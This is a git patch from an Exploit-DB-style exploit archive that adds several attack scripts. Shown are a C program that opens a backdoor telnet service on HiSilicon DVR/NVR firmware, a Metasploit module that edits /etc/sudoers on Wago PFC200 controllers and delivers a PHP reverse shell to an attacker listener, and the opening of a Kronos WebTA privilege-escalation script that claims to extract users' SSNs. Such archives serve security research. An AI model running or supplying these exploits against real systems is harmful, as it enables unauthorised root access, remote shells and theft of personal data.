From 7d757326b85f8764ae1459c77436e1e0557b10be Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 6 Feb 2020 05:02:08 +0000 Subject: [PATCH] DB: 2020-02-06 8 changes to exploits/shellcodes Socat 1.7.3.4 - Heap-Based Overflow (PoC) xglance-bin 11.00 - Privilege Escalation HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account AVideo Platform 8.1 - Information Disclosure (User Enumeration) Wago PFC200 - Authenticated Remote Code Execution (Metasploit) Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC) AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset) --- exploits/hardware/remote/48004.c | 458 ++++ exploits/hardware/webapps/47998.rb | 198 ++ exploits/java/webapps/48001.py | 293 +++ exploits/json/webapps/47997.txt | 41 + exploits/json/webapps/48002.py | 187 ++ exploits/json/webapps/48003.txt | 33 + exploits/linux/local/47999.txt | 182 ++ exploits/linux/local/48000.sh | 3684 ++++++++++++++++++++++++++++ files_exploits.csv | 8 + 9 files changed, 5084 insertions(+) create mode 100644 exploits/hardware/remote/48004.c create mode 100755 exploits/hardware/webapps/47998.rb create mode 100755 exploits/java/webapps/48001.py create mode 100644 exploits/json/webapps/47997.txt create mode 100755 exploits/json/webapps/48002.py create mode 100644 exploits/json/webapps/48003.txt create mode 100644 exploits/linux/local/47999.txt create mode 100755 exploits/linux/local/48000.sh diff --git a/exploits/hardware/remote/48004.c b/exploits/hardware/remote/48004.c new file mode 100644 index 000000000..5505ef6e5 --- /dev/null +++ b/exploits/hardware/remote/48004.c @@ -0,0 +1,458 @@ +# Exploit Title: HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account +# Dork: N/A +# Date: 2020-02-03 +# Exploit Author: Snawoot +# Vendor Homepage: http://www.hisilicon.com +# Product Link: http://www.hisilicon.com/en/Products +# Version: hi3520d +# Tested on: Linux +# CVE: N/A +# References: https://habr.com/en/post/486856/ +# References: https://github.com/Snawoot/hisilicon-dvr-telnet +# References: https://github.com/tothi/pwn-hisilicon-dvr#summary + +# POC: +#include +#include +#include +#include +#include +#include +#include +#include + +typedef unsigned char byte; +typedef unsigned int uint; + +byte state[2048] = {0}; +byte datum[] = { + 0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, + 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, + 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, + 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01, + 0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c, + 0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01, + 0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08, + 0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00, + 0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e, + 0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04, + 0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07, + 0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05, + 0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06, + 0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02, + 0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e, + 0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08, + 0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e, + 0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00, + 0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00, + 0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c, + 0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05, + 0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03, + 0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00, + 0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04, + 0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b, + 0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06, + 0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c, + 0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06, + 0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05, + 0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d, + 0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f, + 0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b, + 0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e, + 0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03, + 0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c, + 0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d, + 0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07, + 0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a, + 0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d, + 0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02, + 0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f, + 0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01, + 0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08, + 0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02, + 0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d, + 0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d, + 0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15, + 0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a, + 0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06, + 0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, + 0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26, + 0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08, + 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23, + 0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, + 0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00, + 0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f, + 0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e, + 0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c, + 0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b, + 0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09, + 0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, + 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23, + 0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27, + 0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06, + 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04, + 0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, + 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18, + 0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04, + 0x1a, 0x08, 0x10, 0x07, 0x1b, 0x14, 0x0d, 0x02, 0x29, 0x34, 0x1f, 0x25, + 0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38, + 0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20 +}; + +void init_cipher_offset_vector(byte *dst,byte *src,int size) + +{ + int i; + + i = 0; + while (i < size) { + dst[i] = (byte)((int)(uint)src[i >> 3] >> (i & 7U)) & 1; + i = i + 1; + } + return; +} + +void apply_cipher_offset_vector(byte *dst,byte *src,byte *offset_vector,size_t size) + +{ + int i; + + i = 0; + while (i < (int)size) { + state[i] = src[(uint)offset_vector[i] - 1]; + i = i + 1; + } + memcpy(dst,state,size); + return; +} + +void cipher_memcpy_shuffle(void *dst,size_t size) + +{ + memcpy(state,dst,size); + memcpy(dst,(void *)(dst + size),0x1c - size); + memcpy((void *)(dst + (0x1c - size)),state,size); + return; +} + +void init_cipher_state(void *dst,void *src) + +{ + byte current_byte; + int i; + + init_cipher_offset_vector(state + 0x190,(byte *)src,0x40); + apply_cipher_offset_vector(state + 0x190,state + 0x190,datum + 0x2d4,0x38); + i = 0; + do { + current_byte = (datum + 0x310)[i]; + i = i + 1; + cipher_memcpy_shuffle(state + 0x190,(uint)current_byte); + cipher_memcpy_shuffle(state + 0x190 + 0x1c,(uint)current_byte); + apply_cipher_offset_vector((byte *)dst,state + 0x190,datum + 0x320,0x30); + dst = (byte *)dst + 0x30; + } while (i != 0x10); + return; +} + +void cipher_xor(byte *data,byte *key,int size) + +{ + int i; + + i = 0; + while (i < size) { + data[i] = key[i] ^ data[i]; + i = i + 1; + } + return; +} + +void prepare_key(void *key,size_t key_size) + +{ + size_t __n; + + memset(state + 0x1d0,0,0x10); + __n = key_size; + if (0xf < (int)key_size) { + __n = 0x10; + } + memcpy(state + 0x1d0,key,__n); + init_cipher_state(state + 0x1e0,state + 0x1d0); + if (8 < (int)key_size) { + init_cipher_state(state + 0x4e0,state + 0x1d8); + } + *(state + 0x7e0) = 8 < (int)key_size; // !!!! recheck size + return; +} + +void cipher_shuffle(byte *dst,byte *src) + +{ + byte *caretPtr; + int iVar1; + byte *ptr; + int i; + + apply_cipher_offset_vector(state + 0x100,dst,datum,0x30); + cipher_xor(state + 0x100,src,0x30); + ptr = state + 0x100; + i = 0; + do { + iVar1 = i + (uint)ptr[5] + (uint)*ptr * 2; + caretPtr = dst + i; + i = i + 4; + init_cipher_offset_vector + (caretPtr,datum + 0x30 + + (uint)ptr[2] * 4 + (uint)ptr[1] * 8 + (uint)ptr[4] + (uint)ptr[3] * 2 + + iVar1 * 0x10,4); + ptr = ptr + 6; + } while (i != 0x20); + apply_cipher_offset_vector(dst,dst,datum + 0x230,0x20); + return; +} + +void cipher_box(byte *result,byte *data,byte *offset_vector,int direction) + +{ + uint i; + byte *backward_ov_ptr; + byte *forward_ov_ptr; + int iVar3; + + init_cipher_offset_vector(state + 0x130,data,0x40); + apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x250,0x40); + if (direction == 0) { + forward_ov_ptr = offset_vector + 0x300; + do { + memcpy(state + 0x170,state + 0x150,0x20); + cipher_shuffle(state + 0x150,offset_vector); + cipher_xor(state + 0x150,state + 0x130,0x20); + memcpy(state + 0x130, state + 0x170, 0x20); + offset_vector = offset_vector + 0x30; + } while (offset_vector != forward_ov_ptr); + } + else { + backward_ov_ptr = offset_vector + 0x2d0; + do { + memcpy(state + 0x170,state + 0x130,0x20); + cipher_shuffle(state + 0x130,backward_ov_ptr); + cipher_xor(state + 0x130,state + 0x150,0x20); + backward_ov_ptr -= 0x30; + memcpy(state + 0x150,state + 0x170,0x20); + } while (backward_ov_ptr != offset_vector + -0x30); + } + apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x294,0x40); + memset(result,0,8); + i = 0; + do { + result[i >> 3] = result[i >> 3] | *(char *)(state + 0x130 + i) << (i & 7); + i = i + 1; + } while (i != 0x40); + return; +} + +int decrypt(char *result,char *data,uint data_len,char *key,uint key_len) + +{ + uint short_key_iter; + int curBlockNumber; + int blockCount; + + if (((result != (char *)0x0 && data != (char *)0x0) && (curBlockNumber = 0, key != (char *)0x0)) + && ((data_len + 7 & 0xfffffff8) != 0)) { + prepare_key(key,key_len); + blockCount = (int)(data_len + 7) >> 3; + short_key_iter = *(state + 0x7e0); + if (*(state + 0x7e0) == 0) { + while ((int)short_key_iter < blockCount) { + cipher_box((byte *)result,(byte *)data,state + 0x1e0,1); + short_key_iter = short_key_iter + 1; + result = (char *)((byte *)result + 8); + data = (char *)((byte *)data + 8); + } + } + else { + while (curBlockNumber < blockCount) { + cipher_box((byte *)result,(byte *)data,state + 0x1e0,1); + cipher_box((byte *)result,(byte *)result,state + 0x4e0,0); + cipher_box((byte *)result,(byte *)result,state + 0x1e0,1); + curBlockNumber = curBlockNumber + 1; + result = (char *)((byte *)result + 8); + data = (char *)((byte *)data + 8); + } + } + return 0; + } + return -1; +} + +int encrypt(char *result,char *data,uint data_len,char *key,uint key_size) + +{ + uint uVar2; + int currentBlockNumber; + int blocksCount; + + if (((result != (char *)0x0 && data != (char *)0x0) && + (currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) { + prepare_key(key,key_size); + blocksCount = (int)(data_len + 7) >> 3; + uVar2 = *(state + 0x7e0); + if (*(state + 0x7e0) == 0) { + while ((int)uVar2 < blocksCount) { + cipher_box((byte *)result,(byte *)data,state + 0x1e0,0); + uVar2 = uVar2 + 1; + result = (char *)((byte *)result + 8); + data = (char *)((byte *)data + 8); + } + } + else { + while (currentBlockNumber < blocksCount) { + cipher_box((byte *)result,(byte *)data,state + 0x1e0,0); + cipher_box((byte *)result,(byte *)result,state + 0x4e0,1); + cipher_box((byte *)result,(byte *)result,state + 0x1e0,0); + currentBlockNumber = currentBlockNumber + 1; + result = (char *)((byte *)result + 8); + data = (char *)((byte *)data + 8); + } + } + return 0; + } + return -1; +} + +void tohex(unsigned char * in, size_t insz, char * out, size_t outsz) +{ + unsigned char * pin = in; + const char * hex = "0123456789ABCDEF"; + char * pout = out; + for(; pin < in+insz; pout +=3, pin++){ + pout[0] = hex[(*pin>>4) & 0xF]; + pout[1] = hex[ *pin & 0xF]; + pout[2] = ':'; + if (pout + 3 - out > outsz){ + /* Better to truncate output string than overflow buffer */ + /* it would be still better to either return a status */ + /* or ensure the target buffer is large enough and it never happen */ + break; + } + } + pout[-1] = 0; +} + +char netbuf[4096]; + +#define PADDED(X) (((X + 7) / 8) * 8) +#define PORT 9530 +#define BUFSIZE sizeof(netbuf) +#define CMD_FIRST "OpenTelnet:OpenOnce" +#define CHALLENGE_PROLOGUE "randNum:" +#define VERIFY_OK "verify:OK" +#define CMD_FINAL "CMD:" +#define FINAL_PAYLOAD "Telnet:OpenOnce" +#define OPEN_OK "Open:OK" + +ssize_t send_str(int sockfd, char *str, size_t len) { + if (len > 0xFE) { + return -1; + } + char buf[len+1]; + buf[0] = len + 1; + memcpy(buf + 1, str, len); + return send(sockfd, buf, len + 1, 0); +} + +int main(int argc, char* argv[]) { + int sockfd, numbytes; + struct hostent *he; + struct sockaddr_in their_addr; + + if (argc != 3) { + fprintf(stderr, "Usage: %s \n", argv[0]); + return 2; + } + + if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */ + herror("gethostbyname"); + return 1; + } + + if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { + perror("socket"); + return 1; + } + + their_addr.sin_family = AF_INET; /* host byte order */ + their_addr.sin_port = htons(PORT); /* short, network byte order */ + their_addr.sin_addr = *((struct in_addr *)he->h_addr); + bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */ + + if (connect(sockfd, (struct sockaddr *)&their_addr, \ + sizeof(struct sockaddr)) == -1) { + perror("connect"); + return 1; + } + if (send_str(sockfd, CMD_FIRST, sizeof(CMD_FIRST)) == -1) { + perror("send"); + return 1; + } + printf("Sent %s command.\n", CMD_FIRST); + bzero(netbuf, BUFSIZE); + if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) { + perror("recv"); + return 1; + } + puts(netbuf); + if (memcmp(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1) != 0) { + fprintf(stderr, "No challenge received.\n"); + return 3; + } + + char *seed = netbuf + sizeof(CHALLENGE_PROLOGUE) - 1; + char challengeStr[strlen(seed) + strlen(argv[2]) + 1]; + size_t challengeLen = sprintf(challengeStr, "%s%s", seed, argv[2]); + printf("challenge=%s\n", challengeStr); + + char encryptedRandomSeed[PADDED(challengeLen)]; + encrypt(encryptedRandomSeed, seed, strlen(seed), challengeStr, challengeLen); + memcpy(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1); + memcpy(netbuf + sizeof(CHALLENGE_PROLOGUE) - 1, encryptedRandomSeed, PADDED(challengeLen)); + if (send_str(sockfd, netbuf, sizeof(CHALLENGE_PROLOGUE) - 1 + PADDED(challengeLen)) == -1) { + perror("send"); + return 1; + } + bzero(netbuf, BUFSIZE); + if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) { + perror("recv"); + return 1; + } + puts(netbuf); + if (memcmp(netbuf, VERIFY_OK, sizeof(VERIFY_OK) - 1) != 0) { + fprintf(stderr, "Verification failed.\n"); + return 4; + } + char encryptedFinal[PADDED(sizeof(FINAL_PAYLOAD))]; + encrypt(encryptedFinal, FINAL_PAYLOAD, sizeof(FINAL_PAYLOAD), challengeStr, challengeLen); + memcpy(netbuf, CMD_FINAL, sizeof(CMD_FINAL) - 1); + memcpy(netbuf + sizeof(CMD_FINAL) - 1, encryptedFinal, sizeof(encryptedFinal)); + if (send_str(sockfd, netbuf, sizeof(CMD_FINAL) - 1 + sizeof(encryptedFinal)) == -1) { + perror("send"); + return 1; + } + bzero(netbuf, BUFSIZE); + if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) { + perror("recv"); + return 1; + } + puts(netbuf); + if (memcmp(netbuf, OPEN_OK, sizeof(OPEN_OK) - 1)) { + fprintf(stderr, "Open failed.\n"); + return 5; + } + + return 0; +} + +# \ No newline at end of file diff --git a/exploits/hardware/webapps/47998.rb b/exploits/hardware/webapps/47998.rb new file mode 100755 index 000000000..c06cd414d --- /dev/null +++ b/exploits/hardware/webapps/47998.rb @@ -0,0 +1,198 @@ +# Exploit Title: Wago PFC200 - Authenticated Remote Code Execution (Metasploit) +# Date: 2020-02-05 +# Exploit Author: Nico Jansen (0x483d) +# Vendor Homepage: https://www.wago.com/ +# Version: <= Firmare 11 (02_08_35) +# Tested on: Linux +# CVE : N/A + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'json' + +class MetasploitModule < Msf::Exploit::Remote + #Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wago PFC200 authenticated remote code execution', + 'Description' => %q{ + The Wago PFC200 (up to incl. Firmware 11 02_08_35) is vulnerable to an authenticated remote code execution in the + administrative web interface. By exploiting the vulnerability, an attacker is able to run system commands in root context. + To execute this module, login credenials of the website administrator are required (default: admin/wago). + This module was tested against a Wago 750-8202 Firmware 11 (02_08_35) but other PFC200 models may be affected as well. + }, + 'Author' => + [ + 'Nico Jansen (0x483d)' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'References' => + [ + ['CVE', '-'], + ['US-CERT-VU', '-'], + ['URL', '-'], + ['URL', '-'] + ], + 'DisclosureDate' => 'Aug 1 2018', + 'Privileged' => true, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'SSL' => true, + }, + 'Targets' => [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptString.new('ADMINPASSWORD', [true, 'Password to authenticate as admin', 'wago']), + ]) + + deregister_options('VHOST') + end + + # This function checks the index page to check if it may be a valid device. + # There are some more checks done after an successful authentication + def check + @csrf="" + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/wbm/index.php' + ) + + if res && res.code == 200 && res.body.to_s =~ /WAGO Ethernet Web-based Management/ + result = sendConfigToolMessage("get_typelabel_value", ["SYSDESC"]) + if result and result =~ /PFC200/ + # Get Version and check if it's <= 11 + result = sendConfigToolMessage("get_coupler_details", ["firmware-revision"]) + result = result.split('(')[1] + result = result.split(')')[0] + if Integer(result) <= 11 + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Safe + end + + # This function authenticates the adminuser against the Wago PLC + def login + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/wbm/login.php', + 'data' => '{"username":"admin","password":"' + datastore['ADMINPASSWORD'] + '"}' + ) + if res.code != 200 + return false + end + + parsed_json = JSON.parse(res.body.to_s) + if parsed_json["status"] == 0 + @cookie = res.get_cookies + @csrf = parsed_json["csrfToken"] + return true + else + return false + end + end + + # This function can be used to execute arbitary commands after login + def sendConfigToolMessage(scriptname, parameters, expectResponse=true) + parameterString = '' + for param in parameters + parameterString = parameterString + '"' + param + '", ' + end + + parameterString = parameterString[0...-2] + request ='{"csrfToken":"' + @csrf + '",'\ + '"renewSession":true,"aDeviceParams":{"0"'\ + ':{"name":"' + scriptname + '","parameter":['\ + + parameterString + '],"sudo":true,"multiline":false,'\ + '"timeout":12000,"dataId":0}}}' + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => '/wbm/configtools.php', + 'data' => request, + 'cookie' => @cookie, + ) + # After exploitation, there is no response, so just return true because the message was sent + if expectResponse == false + return true + end + + parsed_json = JSON.parse(res.body.to_s) + @csrf = parsed_json["csrfToken"] + if parsed_json["aDeviceResponse"][0]["status"] == 0 + return parsed_json["aDeviceResponse"][0]["resultString"] + else + return false + end + end + + # This function is used to enable php execution in sudoers file using sed + def change_sudo_permissions() + return sendConfigToolMessage('/../../../usr/bin/sed',["-i", "s/NOPASSWD:/NOPASSWD:ALL#/", "/etc/sudoers"]) + end + + # Encode a given string to bypass validation + def encode(content) + result = "" + content.split("").each do |i| + result = result + "chr(" + (i.ord).to_s + ")." + end + result = result[0...-1] + return result + end + + # This function generates the required payload used to connect to the msf listener + def send_payload() + meterpreter_reverse_php='exec("/usr/bin/sed -i \'s/NOPASSWD:ALL#/NOPASSWD:/\' \'/etc/sudoers\'"); $ip = "' + datastore['LHOST'] + '"; $port = ' + datastore['LPORT'].to_s + '; '\ + 'if (($f = "stream_socket_client") && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); '\ + '$s_type = "stream"; } if (!$s && ($f = "fsockopen") && is_callable($f)) { $s = $f($ip, $port);'\ + ' $s_type = "stream"; } if (!$s && ($f = "socket_create") && is_callable($f)) '\ + '{ $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) '\ + '{ die(); } $s_type = "socket"; } if (!$s_type) { die("no socket funcs"); } '\ + 'if (!$s) { die("no socket"); } switch ($s_type) { case "stream": $len = fread($s, 4); break; '\ + 'case "socket": $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len);'\ + ' $len = $a["len"]; $b = ""; while (strlen($b) < $len) { switch ($s_type) { case "stream": $b .= '\ + 'fread($s, $len-strlen($b)); break; case "socket": $b .= socket_read($s, $len-strlen($b)); break; } } '\ + '$GLOBALS["msgsock"] = $s; $GLOBALS["msgsock_type"] = $s_type; if (extension_loaded("suhosin") '\ + '&& ini_get("suhosin.executor.disable_eval")) { $suhosin_bypass=create_function("", $b); $suhosin_bypass(); } '\ + 'else { eval($b); } die(); ?>' + + command = "eval(" + encode(meterpreter_reverse_php) + ");" + return sendConfigToolMessage("/../../../usr/bin/php5", ["-r", command], false) + end + + def exploit + if check == Exploit::CheckCode::Vulnerable # Check if the system may be a PFC200 + print_good("Target seems to be a vulnerable PFC200 device") + if login # Try to authenticate using the given credentials + print_good("Successfully logged in as website admin") + if change_sudo_permissions() + print_good("Manipulated the /etc/sudoers file to enable php execution as root") + print_good("Preparing meterpreter payload and undoing changes to /etc/sudoers...") + send_payload() + else + print_error("Unable to modify the /etc/sudoers file...") + end + else + print_error("Unable to login as admin with the given credentials...") + end + else + print_error("Target is not a valid PFC200 device. Will exit now...") + end + end +end \ No newline at end of file diff --git a/exploits/java/webapps/48001.py b/exploits/java/webapps/48001.py new file mode 100755 index 000000000..37e18c04c --- /dev/null +++ b/exploits/java/webapps/48001.py @@ -0,0 +1,293 @@ +# Exploit Title: Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation +# Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group +# Exploit Author: Nolan B. Kennedy (nxkennedy) +# Discovery date: 2019-09-20 +# Vendor Homepage: https://www.kronos.com/products/kronos-webta +# Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029) +# Tested on: Linux +# CVE: (Remote Privesc) CVE-2020-8495 | (Stored XSS) CVE-2020-8493 +# Usage: python3 exploit.py http://target + +#!/bin/bash/python3 + +### +# *Exploit requires credentials with Timekeeper or Supervisor privileges +# +# Exploit abuses delegation privs present in the WebTA "/servlet/com.threeis.webta.H491delegate" +# servlet. By specifying the "delegate" and "delegatorUserId" parameter an attacker can use an +# admin user id to delegate role 5 (aka admin privs) to any other known user id, including oneself. +# +# selFunc=add&selRow=&delegate=&delegateRole=5&delegatorEmpId=1234&delegatorUserId= +# +# With our new admin account, we can abuse a stored XSS vulnerability present in the login page, +# banner (displayed on every page) & password reset page. We can also pull system information and +# download a file containing the FULL NAME AND SSN OF EVERY USER in the database (typically thousands). +# +# +# Below is an example of the exploit output: +##### +# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper +# +# [+] Available Admin Accounts: +# MOTOKO +# BATOU +# TOGUSA +# ISHIKAWA +# +# [-] Attempting to use account 'MOTOKO' to delegate Admin privs to 'TESTER'... +# +# [+] 'TESTER' successfully elevated to Admin privs :) +# +# +# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper, Admin +# +# [+] Webta Version Information +# Site parameter: company +# Licensed modules:WEBTA-LEAVE, WEBTA, WEBTA +# webTA Servlet Version: 3.8.6.79029 +# webTA Database Version: 3.8.6.79029 +# App Server OS: Linux version 3.10.0-1062.1.1.el7.x86_64 (amd64) +# App Server JDK Version: Oracle Corporation version 1.8.0_222 +# App Server Servlet Engine: 